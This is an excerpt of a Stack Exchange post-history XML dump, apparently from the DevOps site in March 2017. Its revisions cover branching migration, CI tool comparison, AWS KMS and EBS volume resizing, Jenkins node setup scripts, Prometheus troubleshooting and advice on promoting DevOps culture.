shared information and created documentation to share knowledge between teams, trying to break down walls. By understanding the Ops' needs, we create a few guides for what should always be kept in mind when bootstrapping an application (where/how to manage properties, etc.). By understanding the Dev's reality (code more features, faster, gogogogo!) we were able to have the ops create servers and clusters that were better suited to the dev's needs.&#xD;&#xA; - The overall quality of deployments was greatly improved too. Deployments were handled by our team, so we had perfect visibility on both Ops and Dev. This eliminated many issues related to the &quot;code hand-off&quot; where the dev would hand over a package and one-page document to the ops saying &quot;Install this!&quot;.&#xD;&#xA;&#xD;&#xA;Overall, I would say that regardless if you are updating your production environment once per day or once per month and regardless of how many customers you have or your business model, every enterprise can use better communication, better tools, better visibility, faster feedback, etc.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="366" PostHistoryTypeId="5" PostId="122" RevisionGUID="4f35776c-581b-46b4-b335-d834b0311d7f" CreationDate="2017-03-01T05:48:34.980" UserId="246" Comment="I tried to make the question focus exclusively on the author's concern: how to migrate from a free-for-all branching reality to something more streamlined." Text="In large organisations, using the waterfall methodology typically results in very complex branching structures (aka *branch spagetti*).&#xD;&#xA;&#xD;&#xA;What branching strategies can be used to transition from a complex branching reality to a simple branching model like trunk-based development?&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;To clarify, the question is about the **migration/transition itself**, not about the before and the after methodologies, which are pretty clear. &#xD;&#xA;&#xD;&#xA;It can't really be &quot;at EOB today we're still waterfall with gazillion of branches but tomorrow 1st thing we'll switchover to trunk-based, single-branch CI&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="367" PostHistoryTypeId="4" PostId="122" RevisionGUID="4f35776c-581b-46b4-b335-d834b0311d7f" CreationDate="2017-03-01T05:48:34.980" UserId="246" Comment="I tried to make the question focus exclusively on the author's concern: how to migrate from a free-for-all branching reality to something more streamlined." Text="How to transition from a complex branching reality to a more simple branching model" ContentLicense="CC BY-SA 3.0" />
  <row Id="368" PostHistoryTypeId="24" PostId="122" RevisionGUID="4f35776c-581b-46b4-b335-d834b0311d7f" CreationDate="2017-03-01T05:48:34.980" Comment="Proposed by 246 approved by -1 edit id of 27" ContentLicense="CC BY-SA 3.0" />
  <row Id="369" PostHistoryTypeId="5" PostId="122" RevisionGUID="5c4154b0-16f9-43f5-aa51-d5dacb89aaa1" CreationDate="2017-03-01T05:48:34.980" UserId="47" Comment="I tried to make the question focus exclusively on the author's concern: how to migrate from a free-for-all branching reality to something more streamlined." Text="In large organisations, using the waterfall methodology typically results in very complex branching structures (aka *branch spagetti*).&#xD;&#xA;&#xD;&#xA;What branching strategies can be used to transition from a complex branching reality to a single-branch model like trunk-based development?&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;To clarify, the question is about the **migration/transition itself**, not about the before and the after methodologies, which are pretty clear. &#xD;&#xA;&#xD;&#xA;It can't really be &quot;at EOB today we're still waterfall with gazillion of branches but tomorrow 1st thing we'll switchover to trunk-based, single-branch CI&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="370" PostHistoryTypeId="4" PostId="122" RevisionGUID="5c4154b0-16f9-43f5-aa51-d5dacb89aaa1" CreationDate="2017-03-01T05:48:34.980" UserId="47" Comment="I tried to make the question focus exclusively on the author's concern: how to migrate from a free-for-all branching reality to something more streamlined." Text="How to transition from a complex branching reality to a single-branch model" ContentLicense="CC BY-SA 3.0" />
  <row Id="371" PostHistoryTypeId="6" PostId="3" RevisionGUID="d6108f7a-53fc-4d37-8a4f-0392ac9246b9" CreationDate="2017-03-01T06:01:16.417" UserId="47" Comment="replaced tag with typo so that it can be removed" Text="&lt;automation&gt;&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="372" PostHistoryTypeId="24" PostId="3" RevisionGUID="d6108f7a-53fc-4d37-8a4f-0392ac9246b9" CreationDate="2017-03-01T06:01:16.417" Comment="Proposed by 47 approved by 20 edit id of 25" ContentLicense="CC BY-SA 3.0" />
  <row Id="374" PostHistoryTypeId="2" PostId="141" RevisionGUID="6f012cc4-a565-4898-8361-6650afdc194d" CreationDate="2017-03-01T06:40:16.653" UserId="108" Text="I work in IT department of automation/dev company and we are just about to implement/add CI into our set of tools. And we are having difficulties to choose the one.&#xD;&#xA;&#xD;&#xA;At the moment we've been thinking about these systems:&#xD;&#xA;&#xD;&#xA; - Jenkins&#xD;&#xA; - CircleCI&#xD;&#xA; - TravisCI&#xD;&#xA;&#xD;&#xA;**Question:** What are key attributes of CI's soft which the systems should have and based on which we should compare them?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="375" PostHistoryTypeId="1" PostId="141" RevisionGUID="6f012cc4-a565-4898-8361-6650afdc194d" CreationDate="2017-03-01T06:40:16.653" UserId="108" Text="Key attributes of Continuous Integration (CI) software" ContentLicense="CC BY-SA 3.0" />
  <row Id="376" PostHistoryTypeId="3" PostId="141" RevisionGUID="6f012cc4-a565-4898-8361-6650afdc194d" CreationDate="2017-03-01T06:40:16.653" UserId="108" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;travis-ci&gt;&lt;circleci&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="377" PostHistoryTypeId="2" PostId="142" RevisionGUID="b2f5a9f1-e87e-41c5-bee8-bd0cea18c670" CreationDate="2017-03-01T07:00:58.073" UserId="46" Text="According AWS KMS, keys can be rotated once every year. However, there is no way I can define a custom time period for that.&#xD;&#xA;&#xD;&#xA;However, I can keep changing the same in the bucket's policy **manually**.&#xD;&#xA;&#xD;&#xA;**So, is there anyway I can automate that?** " ContentLicense="CC BY-SA 3.0" />
  <row Id="378" PostHistoryTypeId="1" PostId="142" RevisionGUID="b2f5a9f1-e87e-41c5-bee8-bd0cea18c670" CreationDate="2017-03-01T07:00:58.073" UserId="46" Text="Is there any way I can rotate AWS KMS keys every time interval &lt; 1 year?" ContentLicense="CC BY-SA 3.0" />
  <row Id="379" PostHistoryTypeId="3" PostId="142" RevisionGUID="b2f5a9f1-e87e-41c5-bee8-bd0cea18c670" CreationDate="2017-03-01T07:00:58.073" UserId="46" Text="&lt;amazon-s3&gt;&lt;amazon-kms&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="380" PostHistoryTypeId="5" PostId="141" RevisionGUID="7060aead-e7e5-4eb7-8274-e678738684d5" CreationDate="2017-03-01T07:04:15.107" UserId="108" Comment="added 619 characters in body" Text="I work in IT department of automation/dev company and we are just about to implement/add CI into our set of tools. And we are having difficulties to choose the one.&#xD;&#xA;&#xD;&#xA;At the moment we've been thinking about these systems:&#xD;&#xA;&#xD;&#xA; - Jenkins&#xD;&#xA; - CircleCI&#xD;&#xA; - TravisCI&#xD;&#xA;&#xD;&#xA;**Question:** What are key attributes of CI's soft which the systems should have and based on which we should compare them?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**EDIT:** We are expecting from CI the standard things: From building the applications, running tests (Unit/Integration/Performance/..), saving statistics and providing information either via email/on the page (reports).&#xD;&#xA;&#xD;&#xA;Issue there is that we don't know which if there are more functionality and if, what is it? This is what I would be looking for under words **&quot;key attributes&quot;**. The names above are just for reference, I'm looking for answer **&quot;why use** this or that&quot; over simplified **&quot;use this or that&quot;**.&#xD;&#xA;&#xD;&#xA;We are developing in .NET (C#) environment with some libraries written in C++/VBA.&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 3.0" />
  <row Id="381" PostHistoryTypeId="2" PostId="143" RevisionGUID="da996490-5579-4feb-88af-0f1dd766009c" CreationDate="2017-03-01T07:25:46.197" UserId="17" Text="As answered by [Romeo Ninov][1] in Black Box testing, tester is unaware about the application internal structure.&#xD;&#xA;&#xD;&#xA;&gt; This method is named so because the software program, in the eyes of&#xD;&#xA;&gt; the tester, is like a black box; inside which one cannot see. This&#xD;&#xA;&gt; method attempts to find errors in the following categories:&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - Incorrect or missing functions&#xD;&#xA;&gt;  - Interface errors&#xD;&#xA;&gt;  - Errors in data structures or external database access&#xD;&#xA;&gt;  - Behavior or performance errors&#xD;&#xA;&gt;  - Initialization and termination errors&#xD;&#xA;&#xD;&#xA;Refrence:&#xD;&#xA;&#xD;&#xA;- http://softwaretestingfundamentals.com/black-box-testing/&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/users/57/romeo-ninov" ContentLicense="CC BY-SA 3.0" />
  <row Id="382" PostHistoryTypeId="2" PostId="144" RevisionGUID="5aacba74-4276-495d-aa5d-70ccca6a87a7" CreationDate="2017-03-01T08:00:34.303" UserId="10" Text="In general, there are five main differences between different CI software solutions.&#xD;&#xA;&#xD;&#xA;1. **Cost**: Is the software open source and free or proprietary? Does your DevOps team already have a budget for software or are you expected to compare free options?&#xD;&#xA;&#xD;&#xA;2. **Maintenance**: Is the software something you need to host on your own and maintain, or is it being offered as a service? If you need to host it on your own, do you have the team members available who can run the maintenance? If it is being provided as a service, where does your code reside?&#xD;&#xA;&#xD;&#xA;3. **Security**: Are there any security or compliance concerns about where the build machines are hosted? Are the permissions required by the CI software into your SCM well understood?&#xD;&#xA;&#xD;&#xA;4. **Community**: Does the CI software have a good community around it with the plugins and support for the technologies you use? Is it easy to get support or troubleshoot when things go wrong?&#xD;&#xA;&#xD;&#xA;5. **UX**: How easy is the software to use? Does the CI software support scripts stored within your SCM for the tasks you need to do? Is the reporting easy to understand or will it require some training?" ContentLicense="CC BY-SA 3.0" />
  <row Id="383" PostHistoryTypeId="2" PostId="145" RevisionGUID="1cf6aeb3-f76e-465a-a302-1814b5a0b7b6" CreationDate="2017-03-01T08:23:10.073" UserId="6" Text="Google Storage claims they support *interoperability* in their solution with Amazon AWS S3 and Eucalyptus Systems APIs.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;source: https://cloud.google.com/storage/docs/interoperability&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;Can the `aws-sdk` for Java, or Node.js, or Python, be used to store and retrieve objects with the Google Storage APIs?" ContentLicense="CC BY-SA 3.0" />
  <row Id="384" PostHistoryTypeId="1" PostId="145" RevisionGUID="1cf6aeb3-f76e-465a-a302-1814b5a0b7b6" CreationDate="2017-03-01T08:23:10.073" UserId="6" Text="Can you use `aws-sdk` to store objects in Google Storage?" ContentLicense="CC BY-SA 3.0" />
  <row Id="385" PostHistoryTypeId="3" PostId="145" RevisionGUID="1cf6aeb3-f76e-465a-a302-1814b5a0b7b6" CreationDate="2017-03-01T08:23:10.073" UserId="6" Text="&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="387" PostHistoryTypeId="2" PostId="146" RevisionGUID="c0f15265-a121-4475-b655-04aa18015eee" CreationDate="2017-03-01T08:33:36.260" UserId="47" Text="The **SCM system** you use can be essential in making your CI choice.&#xD;&#xA;&#xD;&#xA;Using a private/intranet solution, for example, pretty much excludes `CircleCI` and `TravisCI` as these only support cloud-based `GitHub` and/or `Bitbucket`.&#xD;&#xA;&#xD;&#xA;`Jenkins` has plugins supporting many SCM systems out there, see http://devops.stackexchange.com/questions/12/which-scm-tools-does-jenkins-support. But using a less popular or a wrapped/customized SCM system may require development of a new plugin.&#xD;&#xA;&#xD;&#xA;Also particularities of your **building/testing framework/infrastructure** may matter, for similar reasons (configuration, location/access method and compatibility/support)." ContentLicense="CC BY-SA 3.0" />
  <row Id="388" PostHistoryTypeId="2" PostId="147" RevisionGUID="df26ee14-36d5-4358-b0fc-d2060077d3b5" CreationDate="2017-03-01T08:48:55.493" UserId="288" Text="I got a running instance of a EC 2 server setup with Ubunto. What's the best way to increase the disk size without any downtime and minimal risk?&#xD;&#xA;&#xD;&#xA;Reading through the guides, one way would be to create a new disk, migrate data, turn off the instance swap disk and turn it back on. This approach sounds a bit risk will require some downtime. I wonder if there is a better approach?" ContentLicense="CC BY-SA 3.0" />
  <row Id="389" PostHistoryTypeId="1" PostId="147" RevisionGUID="df26ee14-36d5-4358-b0fc-d2060077d3b5" CreationDate="2017-03-01T08:48:55.493" UserId="288" Text="How to increase the size of a disk on a running instance on Amazon EC2" ContentLicense="CC BY-SA 3.0" />
  <row Id="390" PostHistoryTypeId="3" PostId="147" RevisionGUID="df26ee14-36d5-4358-b0fc-d2060077d3b5" CreationDate="2017-03-01T08:48:55.493" UserId="288" Text="&lt;amazon-ec2&gt;&lt;disk&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="391" PostHistoryTypeId="2" PostId="148" RevisionGUID="e7e19bdf-8e54-4a79-b4d5-7d22a6eba85f" CreationDate="2017-03-01T08:49:15.780" UserId="10" Text="Connecting a node to Jenkins through a terminal only is a two step process.&#xD;&#xA;&#xD;&#xA;First, you should ssh into into your node machines and set them up with the following steps:&#xD;&#xA;&#xD;&#xA; 1. Make a jenkins user shell:  `sudo adduser jenkins --shell /bin/bash`&#xD;&#xA;&#xD;&#xA; 2. Create the directory after switching to the jenkins user:  `mkdir /home/jenkins/jenkins_slave`&#xD;&#xA;&#xD;&#xA; 3. Create your SSH credentials to be used in the following bash script.&#xD;&#xA;&#xD;&#xA;Then, once your nodes are set up, you will need to connect to your jenkins machine and run bash script such as this [one][1] to connect your nodes to your master:&#xD;&#xA;&#xD;&#xA;&lt;!-- language:lang-sh --&gt;  &#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    JENKINS_URL=$1&#xD;&#xA;    NODE_NAME=$2&#xD;&#xA;    NODE_SLAVE_HOME='/home/build/slave'&#xD;&#xA;    EXECUTORS=1&#xD;&#xA;    SSH_PORT=22&#xD;&#xA;    CRED_ID=$3&#xD;&#xA;    LABELS=build&#xD;&#xA;    USERID=${USER}&#xD;&#xA;    &#xD;&#xA;    cat &lt;&lt;EOF | java -jar ~/bin/jenkins-cli.jar -s $1 create-node $2&#xD;&#xA;    &lt;slave&gt;&#xD;&#xA;      &lt;name&gt;${NODE_NAME}&lt;/name&gt;&#xD;&#xA;      &lt;description&gt;&lt;/description&gt;&#xD;&#xA;      &lt;remoteFS&gt;${NODE_SLAVE_HOME}&lt;/remoteFS&gt;&#xD;&#xA;      &lt;numExecutors&gt;${EXECUTORS}&lt;/numExecutors&gt;&#xD;&#xA;      &lt;mode&gt;NORMAL&lt;/mode&gt;&#xD;&#xA;      &lt;retentionStrategy class=&quot;hudson.slaves.RetentionStrategy$Always&quot;/&gt;&#xD;&#xA;      &lt;launcher class=&quot;hudson.plugins.sshslaves.SSHLauncher&quot; plugin=&quot;ssh-slaves@1.5&quot;&gt;&#xD;&#xA;        &lt;host&gt;${NODE_NAME}&lt;/host&gt;&#xD;&#xA;        &lt;port&gt;${SSH_PORT}&lt;/port&gt;&#xD;&#xA;        &lt;credentialsId&gt;${CRED_ID}&lt;/credentialsId&gt;&#xD;&#xA;      &lt;/launcher&gt;&#xD;&#xA;      &lt;label&gt;${LABELS}&lt;/label&gt;&#xD;&#xA;      &lt;nodeProperties/&gt;&#xD;&#xA;      &lt;userId&gt;${USERID}&lt;/userId&gt;&#xD;&#xA;    &lt;/slave&gt;&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/sergeyhush/4e892837cf5c31c3d242" ContentLicense="CC BY-SA 3.0" />
  <row Id="392" PostHistoryTypeId="2" PostId="149" RevisionGUID="8279ccb8-0041-4542-bb4b-edd5c108c415" CreationDate="2017-03-01T08:56:32.347" UserId="278" Text="I have been gradually integrating [Prometheus](https://prometheus.io/) into my monitoring workflows, in order to gather detailed metrics about running infrastructure.&#xD;&#xA;&#xD;&#xA;During this, I have noticed that I often run into a peculiar issue: sometimes an exporter that Prometheus is supposed to pull data from becomes unresponsive. Maybe because of a network misconfiguration - it is no longer accessible - or just because the exporter crashed and is now burning.&#xD;&#xA;&#xD;&#xA;Whatever the reason it may be, I find that some of the data I expect to see in Prometheus is missing and there is nothing in the log for a certain time period. Sometimes, one exporter failing (timing out?) also seems to cause others to fail (first timeout pushed entire job above top-level timeout? just speculating).&#xD;&#xA;&#xD;&#xA;There is nothing in the log when this happens. Prometheus self-metrics also seem fairly barren. I have just had to resort to manually trying to replicate what Prometheus is doing and seeing where it breaks. This is irksome. There must be a better way! While I do not need realtime alerts, I at least want to be able to see that an exporter failed to deliver data. Even a boolean &quot;hey check your data&quot; flag would be a start.&#xD;&#xA;&#xD;&#xA;How do I obtain meaningful information about Prometheus failing to obtain data from exporters? How do I understand why gaps exist without having to perform a manual simulation of Prometheus data gathering? What are the sensible practices in this regard, perhaps even when extended to monitoring data collections in general, beyond Prometheus?" ContentLicense="CC BY-SA 3.0" />
  <row Id="393" PostHistoryTypeId="1" PostId="149" RevisionGUID="8279ccb8-0041-4542-bb4b-edd5c108c415" CreationDate="2017-03-01T08:56:32.347" UserId="278" Text="How do I troubleshoot missing data in my Preometheus database?" ContentLicense="CC BY-SA 3.0" />
  <row Id="394" PostHistoryTypeId="3" PostId="149" RevisionGUID="8279ccb8-0041-4542-bb4b-edd5c108c415" CreationDate="2017-03-01T08:56:32.347" UserId="278" Text="&lt;monitoring&gt;&lt;prometheus&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="395" PostHistoryTypeId="4" PostId="149" RevisionGUID="df4762cb-f350-425d-8ec3-7e84f186fff4" CreationDate="2017-03-01T09:01:40.153" UserId="278" Comment="edited title; added 3 characters in body" Text="How do I troubleshoot missing data in my Prometheus database?" ContentLicense="CC BY-SA 3.0" />
  <row Id="396" PostHistoryTypeId="2" PostId="150" RevisionGUID="edf3bd94-c9c9-4ac8-95e7-45e95ddeab19" CreationDate="2017-03-01T09:01:51.573" UserId="6" Text="Amazon AWS just released (on 13th February 2017) a new feature that allows to change a size of an EBS volume.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;source: https://aws.amazon.com/blogs/aws/amazon-ebs-update-new-elastic-volumes-change-everything/&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;This allows to increase the size of an EBS volume on an existing instance, while it is running.&#xD;&#xA;&#xD;&#xA;It is important to note that changing the volume size, does not change the size of the filesystem on the volume (for most filesystems). Additional steps might be required (depending on filesystem) in the operating system itself. For example a `resizefs` on `ext4` filesystem used by most Linux OS today.&#xD;&#xA;&#xD;&#xA;Full documentation from AWS describing the process can be found at http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-expand-volume.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="397" PostHistoryTypeId="5" PostId="149" RevisionGUID="df4762cb-f350-425d-8ec3-7e84f186fff4" CreationDate="2017-03-01T09:01:40.153" UserId="278" Comment="edited title; added 3 characters in body" Text="I have been gradually integrating [Prometheus](https://prometheus.io/) into my monitoring workflows, in order to gather detailed metrics about running infrastructure.&#xD;&#xA;&#xD;&#xA;During this, I have noticed that I often run into a peculiar issue: sometimes an exporter that Prometheus is supposed to pull data from becomes unresponsive. Maybe because of a network misconfiguration - it is no longer accessible - or just because the exporter crashed.&#xD;&#xA;&#xD;&#xA;Whatever the reason it may be, I find that some of the data I expect to see in Prometheus is missing and there is nothing in the series for a certain time period. Sometimes, one exporter failing (timing out?) also seems to cause others to fail (first timeout pushed entire job above top-level timeout? just speculating).&#xD;&#xA;&#xD;&#xA;There is nothing in the log when this happens. Prometheus self-metrics also seem fairly barren. I have just had to resort to manually trying to replicate what Prometheus is doing and seeing where it breaks. This is irksome. There must be a better way! While I do not need realtime alerts, I at least want to be able to see that an exporter failed to deliver data. Even a boolean &quot;hey check your data&quot; flag would be a start.&#xD;&#xA;&#xD;&#xA;How do I obtain meaningful information about Prometheus failing to obtain data from exporters? How do I understand why gaps exist without having to perform a manual simulation of Prometheus data gathering? What are the sensible practices in this regard, perhaps even when extended to monitoring data collections in general, beyond Prometheus?" ContentLicense="CC BY-SA 3.0" />
  <row Id="398" PostHistoryTypeId="5" PostId="150" RevisionGUID="99a0028d-a206-40bd-be02-0d1eebaca47d" CreationDate="2017-03-01T09:06:24.143" UserId="6" Comment="added 306 characters in body" Text="Amazon AWS just released (on 13th February 2017) a new feature that allows to change a size of an EBS volume.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;source: https://aws.amazon.com/blogs/aws/amazon-ebs-update-new-elastic-volumes-change-everything/&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;This allows to increase the size of an EBS volume on an existing instance, while it is running.&#xD;&#xA;&#xD;&#xA;It is important to note that changing the volume size, does not change the size of the filesystem on the volume (for most filesystems). Additional steps might be required (depending on filesystem) in the operating system itself. For example a `resizefs` on `ext4` filesystem used by most Linux OS today.&#xD;&#xA;&#xD;&#xA;Full documentation from AWS describing the process can be found at http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-expand-volume.html&#xD;&#xA;&#xD;&#xA;The new &quot;online&quot; resize feature described in the blog only applies to current generation instances, and there are some other [considerations and limitations][1] that need to be checked before attempting a volume resize.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/considerations.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="399" PostHistoryTypeId="6" PostId="147" RevisionGUID="b8df658b-f9a1-4136-a775-9f1b93c03c3d" CreationDate="2017-03-01T09:07:45.473" UserId="6" Comment="change tags to better reflect the topics of this question" Text="&lt;amazon-ec2&gt;&lt;amazon-ebs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="400" PostHistoryTypeId="5" PostId="150" RevisionGUID="762254a8-773a-4b30-9b36-45c801658cea" CreationDate="2017-03-01T09:11:16.753" UserId="6" Comment="add explanation about resizing partitions" Text="Amazon AWS just released (on 13th February 2017) a new feature that allows to change a size of an EBS volume.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;source: https://aws.amazon.com/blogs/aws/amazon-ebs-update-new-elastic-volumes-change-everything/&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;This allows to increase the size of an EBS volume on an existing instance, while it is running.&#xD;&#xA;&#xD;&#xA;It is important to note that changing the volume size, does not change the size of the filesystem on the volume (for most filesystems). Additional steps might be required (depending on filesystem) in the operating system itself. For example a `resizefs` on `ext4` filesystem used by most Linux OS today.&#xD;&#xA;&#xD;&#xA;Full documentation from AWS describing the process can be found at http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-expand-volume.html&#xD;&#xA;&#xD;&#xA;In some cases the block device has mapped partitions, and only then one (or more) of the partitions include a filesystem. In this case the partition will need to be resized first, and only then the filesystem. This process is [described in the documentation][1] as well.&#xD;&#xA;&#xD;&#xA;The new &quot;online&quot; resize feature described in the blog only applies to current generation instances, and there are some other [considerations and limitations][2] that need to be checked before attempting a volume resize.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/storage_expand_partition.html&#xD;&#xA;  [2]: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/considerations.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="401" PostHistoryTypeId="2" PostId="151" RevisionGUID="8c34f1c8-9a32-48da-8d47-4d1e2604f0c5" CreationDate="2017-03-01T09:12:16.813" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="402" PostHistoryTypeId="1" PostId="151" RevisionGUID="8c34f1c8-9a32-48da-8d47-4d1e2604f0c5" CreationDate="2017-03-01T09:12:16.813" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="403" PostHistoryTypeId="2" PostId="152" RevisionGUID="e15084bf-a671-4285-92db-12cc10415b5a" CreationDate="2017-03-01T09:12:16.813" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="404" PostHistoryTypeId="1" PostId="152" RevisionGUID="e15084bf-a671-4285-92db-12cc10415b5a" CreationDate="2017-03-01T09:12:16.813" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="405" PostHistoryTypeId="2" PostId="153" RevisionGUID="a276c2c5-bfbb-4b3e-a029-9e2a4a38e3f2" CreationDate="2017-03-01T09:12:34.503" UserId="13" Text="What I do (and that's not exactly answering your question) is as follow:&#xD;&#xA;&#xD;&#xA; 1. Create an EBS volume and attach it to the instance [doc is here](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumes.html)&#xD;&#xA; 2. Rescan the scsi buses `echo '- - -' &gt; /sys/bus/scsi/devices/host1/scsi_host/host1/scan` (you may have to adapt the host number)&#xD;&#xA; 3. Create a physical volume  with `pvcreate` on the new disk found (`fdisk -l` to list all disk)&#xD;&#xA; 4. Create a volume group and then logical volume on it (`vgcreate` and `lvcreate`)&#xD;&#xA; 5. Format the logical volume with your desired filesystem&#xD;&#xA; 6. `tar` the target mountpoint to restore it.&#xD;&#xA; 7. Mount this volume where you need new space.&#xD;&#xA; 8. Restore the tar into this newly mounted space.&#xD;&#xA;&#xD;&#xA;Steps 6 and 8 are optional if you use a new space before installing something. If you want to replace an existing directory you obvisouly have to avoid something writing there between the end of the archive and the restoration.&#xD;&#xA;&#xD;&#xA;You can repeat the steps 4 to 8 for different mountpoints, this allow to extend the space needed and then to resize those volumes on line without interruption." ContentLicense="CC BY-SA 3.0" />
  <row Id="406" PostHistoryTypeId="2" PostId="154" RevisionGUID="4e1de4bb-c65b-44b9-aeed-33550d4aeb1c" CreationDate="2017-03-01T09:20:13.747" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="407" PostHistoryTypeId="1" PostId="154" RevisionGUID="4e1de4bb-c65b-44b9-aeed-33550d4aeb1c" CreationDate="2017-03-01T09:20:13.747" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="408" PostHistoryTypeId="2" PostId="155" RevisionGUID="5ad5d7b7-9074-472a-94b8-d5d9c8132ee4" CreationDate="2017-03-01T09:20:13.747" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="409" PostHistoryTypeId="1" PostId="155" RevisionGUID="5ad5d7b7-9074-472a-94b8-d5d9c8132ee4" CreationDate="2017-03-01T09:20:13.747" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="410" PostHistoryTypeId="2" PostId="156" RevisionGUID="9bdb3b69-c25a-4d40-b91c-ea40f1879087" CreationDate="2017-03-01T09:26:36.783" UserId="10" Text="## Hack your Team ##&#xD;&#xA;&#xD;&#xA;Bringing about change in your organisation is hard. People have habits, they resist change, and they are often comfortable with the status quo. To bring about change, in no particular order, here are a few tools you can use. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1. **Cause others to experience the problem that DevOps solves.** Many times the benefits of DevOps is only understood on a theoretical level by your team. Most of the problems that happen during deployment are hopefully and rarely experienced by the rest of the development team or management. To fix this, make sure that you are vocal about issues when they arise and mention how this problem wouldn't have happened if the team was using a continuous integration solution. Another possibility is to be sure you ask developers to fix problems that their code caused during deployment instead of fixing it yourself.&#xD;&#xA;&#xD;&#xA;2. **Find the leaders**. It is common for people to follow the leaders, be they management or just the most popular/commanding person in the group. Get those leaders on board with your desire to move to a DevOps culture, and devise public ways in which they can be seen using or advocating best practices.&#xD;&#xA;&#xD;&#xA;3. **Build Trust**.  We are more likely to agree to things from people after we have already agreed with them once or twice before. Ideally, you can find small improvements that can be made without a shift in culture and build upon that success. However, if that isn't an option, ask them simple questions and offer simple suggestions so they get into a habit of saying yes or agreeing with you.&#xD;&#xA;&#xD;&#xA;4. **Don't be ashamed to repeat yourself.** Repetition works and eventually sinks in. Whenever possible mention how great things would be if the team was using DevOps. However, this only works if you have first built trust within your team.&#xD;&#xA;&#xD;&#xA;5. **Make it pleasurable**. If you are allowed to build a proof of concept for your DevOps situation, use cute emoticons and cheerful colours in the reports and notifications. Post funny gifs when a build fails. Make sure you aren't annoying with your updates." ContentLicense="CC BY-SA 3.0" />
  <row Id="411" PostHistoryTypeId="5" PostId="54" RevisionGUID="0a918b2c-d80a-4455-9f3e-8d431b967f2f" CreationDate="2017-03-01T09:39:58.023" UserId="10" Comment="deleted 66 characters in body" Text="My team is currently trying to decide if we should deploy our nodejs app as a deb package instead of trying to run it in a container like docker.&#xD;&#xA;&#xD;&#xA;This blog [here][1] makes some good arguments for using a deb package for a pre-existing python application.&#xD;&#xA;&#xD;&#xA;The main reasons why Docker was discouraged was:    &#xD;&#xA;&#xD;&#xA;- Docker has very specific tech requirements which may require too great an overhaul from the current stack being used. A case of bulldozing a house just to change the windows. &#xD;&#xA;-   Distributing Docker images within a private network also requires a separate service which we would need to configure, test, and maintain.  &#xD;&#xA;-  Adjusting already existing deploy scripts to match Docker syntax and expected workflow is too risky.  &#xD;&#xA;&#xD;&#xA;The benefits listed of using deb-package instead of docker are:  &#xD;&#xA;  &#xD;&#xA; - Uses a workflow already known to the team.&#xD;&#xA; - Easy to roll back versions with small deploy scripts.&#xD;&#xA; - venv already works as a type of container&#xD;&#xA; - Less systems to maintain.&#xD;&#xA;&#xD;&#xA;However, what are the drawbacks if creating a new project from scratch in another language such as NodeJs or Ruby?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://nylas.com/blog/packaging-deploying-python/" ContentLicense="CC BY-SA 3.0" />
  <row Id="412" PostHistoryTypeId="5" PostId="3" RevisionGUID="308dec2e-1111-4145-a03b-7cdcaab8bb8d" CreationDate="2017-03-01T10:18:53.893" UserId="10" Comment="small attempt to save the question." Text="I see that whenever someone does DevOps, it's mostly about automating things like deployment etc.&#xD;&#xA;&#xD;&#xA;But where does automation end and DevOps begin?" ContentLicense="CC BY-SA 3.0" />
